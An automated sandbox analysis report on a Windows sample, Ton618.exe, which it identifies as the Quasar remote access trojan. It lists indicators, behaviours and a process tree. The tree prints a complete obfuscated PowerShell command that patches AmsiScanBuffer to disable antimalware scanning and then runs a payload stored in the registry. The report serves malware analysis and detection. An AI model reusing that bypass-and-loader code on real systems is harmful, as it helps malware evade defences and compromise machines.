Analysis
-
max time kernel
150s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
24-12-2024 01:21
General
-
Target
Ton618.exe
-
Size
6.6MB
-
MD5
fa55ec4c1f2bde276ead921187cf36c1
-
SHA1
ed2ba8a4c96f4f473e13baae9f6057bcdb043519
-
SHA256
b32538fc97c82d2e3623d1b3ea1b7daa8948399da29651a6350bb598d183027c
-
SHA512
6941dc68fa19375f6882c3cd6cd34fa5db6de8a421194207ed076f8272e256269b923a52c8141001204d87df288179ab7d3e5fc459e031c0c64a1dbc06fe43b1
-
SSDEEP
49152:YEBm0Yz3KSzjhnbv5+/GSJFDdykdb2FXu7J2xePZaTohmxksuO+zTzuISFYUaGxE:YEBm0YpbvaDJFDdtbF1Z08Uxvs641/
Malware Config
Extracted
quasar
-
encryption_key
6DC75341715F183F008C5D5A26E1967745A885D9
-
reconnect_delay
3000
Signatures
-
Quasar family
-
Quasar payload 1 IoCs
resource yara_rule behavioral1/memory/3360-1-0x0000000000DB0000-0x0000000001454000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3752 created 620 3752 powershell.EXE 5 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation Ton618.exe -
pid Process 3752 powershell.EXE -
Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2476 set thread context of 1336 2476 powershell.exe 94 PID 3752 set thread context of 2460 3752 powershell.EXE 97 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2524 PING.EXE -
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2524 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3360 Ton618.exe 3360 Ton618.exe 3752 powershell.EXE 3752 powershell.EXE 3752 powershell.EXE 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe 2460 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3360 Ton618.exe Token: SeDebugPrivilege 3752 powershell.EXE Token: SeDebugPrivilege 3752 powershell.EXE Token: SeDebugPrivilege 2460 dllhost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3360 Ton618.exe -
Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 3360 wrote to memory of 1056 3360 Ton618.exe 83 PID 3360 wrote to memory of 1056 3360 Ton618.exe 83 PID 3360 wrote to memory of 1772 3360 Ton618.exe 87 PID 3360 wrote to memory of 1772 3360 Ton618.exe 87 PID 1772 wrote to memory of 1880 1772 cmd.exe 89 PID 1772 wrote to memory of 1880 1772 cmd.exe 89 PID 1772 wrote to memory of 2524 1772 cmd.exe 90 PID 1772 wrote to memory of 2524 1772 cmd.exe 90 PID 3360 wrote to memory of 2476 3360 Ton618.exe 92 PID 3360 wrote to memory of 2476 3360 Ton618.exe 92 PID 3360 wrote to memory of 2476 3360 Ton618.exe 92 PID 3360 wrote to memory of 2476 3360 Ton618.exe 92 PID 2476 wrote to memory of 1336 2476 powershell.exe 94 PID 2476 wrote to memory of 1336 2476 powershell.exe 94 PID 2476 wrote to memory of 1336 2476 powershell.exe 94 PID 2476 wrote to memory of 1336 2476 powershell.exe 94 PID 2476 wrote to memory of 1336 2476 powershell.exe 94 PID 2476 wrote to memory of 1336 2476 powershell.exe 94 PID 2476 wrote to memory of 1336 2476 powershell.exe 94 PID 2476 wrote to memory of 1336 2476 powershell.exe 94 PID 2476 wrote to memory of 1336 2476 powershell.exe 94 PID 3752 wrote to memory of 2460 3752 powershell.EXE 97 PID 3752 wrote to memory of 2460 3752 powershell.EXE 97 PID 3752 wrote to memory of 2460 3752 powershell.EXE 97 PID 3752 wrote to memory of 2460 3752 powershell.EXE 97 PID 3752 wrote to memory of 2460 3752 powershell.EXE 97 PID 3752 wrote to memory of 2460 3752 powershell.EXE 97 PID 3752 wrote to memory of 2460 3752 powershell.EXE 97 PID 3752 wrote to memory of 2460 3752 powershell.EXE 97 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{488f4dd5-f7b0-404e-aee0-63f390932b26}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2460
-
-
C:\Users\Admin\AppData\Local\Temp\Ton618.exe"C:\Users\Admin\AppData\Local\Temp\Ton618.exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3360 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Delete /TN "$nya-Loli_1" /F2⤵PID:1056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lQmh7A3xpSso.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1772 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:1880
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2524
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"3⤵
- System Location Discovery: System Language Discovery
PID:1336
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:PNgebNmEQFQc{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$TNMHfRRcIgBFzN,[Parameter(Position=1)][Type]$omHrGvdoDp)$ePrahYOlBYV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+'l'+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+'y'+''+[Char](77)+''+'o'+'d'+'u'+''+'l'+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+'T'+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'ss'+[Char](44)+'Pub'+'l'+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+'l'+[Char](97)+''+[Char](115)+'s'+','+''+'A'+''+[Char](117)+''+'t'+''+'o'+''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$ePrahYOlBYV.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+''+[Char](112)+'e'+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+'m'+'e'+''+[Char](44)+'Hi'+[Char](100)+''+[Char](101)+'B'+'y'+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'lic',[Reflection.CallingConventions]::Standard,$TNMHfRRcIgBFzN).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+'ag'+'e'+'d');$ePrahYOlBYV.DefineMethod('In'+'v'+'o'+[Char](107)+''+'e'+'','P'+'u'+'bl'+'i'+''+[Char](99)+','+[Char](72)+''+[Char](105)+'de'+'B'+''+[Char](121)+''+'S'+''+[Char](105)+'g,N'+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+'ot'+','+''+[Char](86)+''+[Char](105)+'r'+'t'+''+'u'+'a'+'l'+'',$omHrGvdoDp,$TNMHfRRcIgBFzN).SetImplementationFlags('R'+[Char](117)+'n'+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $ePrahYOlBYV.CreateType();}$lgguHdumIRgHk=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+'t'+''+'e'+'m.dl'+[Char](108)+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+'o'+'s'+''+[Char](111)+''+'f'+''+[Char](116)+''+'.'+''+'W'+'i'+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+'a'+''+'f'+''+'e'+''+[Char](78)+''+[Char](97)+''+'t'+''+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$IuWYaphdiFfwhb=$lgguHdumIRgHk.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+'r'+[Char](111)+''+[Char](99)+'Ad'+[Char](100)+''+'r'+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+'t'+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$AYzHNnCzwGGgukPMCpC=PNgebNmEQFQc @([String])([IntPtr]);$yzsHSbLgmuZleXOJUQYsGL=PNgebNmEQFQc @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ccQMWajlcQZ=$lgguHdumIRgHk.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'dle').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+'n'+'e'+[Char](108)+'3'+[Char](50)+'.d'+[Char](108)+''+[Char](108)+'')));$UDUJNdGnIncPZN=$IuWYaphdiFfwhb.Invoke($Null,@([Object]$ccQMWajlcQZ,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'dL'+'i'+''+'b'+''+'r'+''+[Char](97)+'ry'+'A'+'')));$wXKQNRlMkkNAbEUCt=$IuWYaphdiFfwhb.Invoke($Null,@([Object]$ccQMWajlcQZ,[Object](''+[Char](86)+'i'+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+'o'+'t'+'e'+'c'+'t')));$UsIjLMR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UDUJNdGnIncPZN,$AYzHNnCzwGGgukPMCpC).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+'i'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$DvyyCiCfMRLrAONkW=$IuWYaphdiFfwhb.Invoke($Null,@([Object]$UsIjLMR,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+'B'+[Char](117)+''+'f'+''+[Char](102)+''+'e'+'r')));$RQLbEhABwa=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wXKQNRlMkkNAbEUCt,$yzsHSbLgmuZleXOJUQYsGL).Invoke($DvyyCiCfMRLrAONkW,[uint32]8,4,[ref]$RQLbEhABwa);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$DvyyCiCfMRLrAONkW,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wXKQNRlMkkNAbEUCt,$yzsHSbLgmuZleXOJUQYsGL).Invoke($DvyyCiCfMRLrAONkW,[uint32]8,0x20,[ref]$RQLbEhABwa);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue(''+[Char](36)+'n'+'y'+''+'a'+''+[Char](45)+''+'s'+''+'t'+''+'a'+''+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3752
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
166B
MD5c97ff20f65840a47514722ef0700371f
SHA18309a9cabde3f4779f93ee2aba325620c9934c4c
SHA256a7de35c350c16a6a469d4d6fd26d90b3acbe1d377d303bd28b34c679eb33a9be
SHA51265792bd3b7f6a73d2e9b3c2b2a97bddb42bfc12cd24cc239f7b4af4f38e10cc713b78e78a0a9a6279d79a117cd1de79e0c8376f2e0d2f0c9bda9c64381f0779b
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82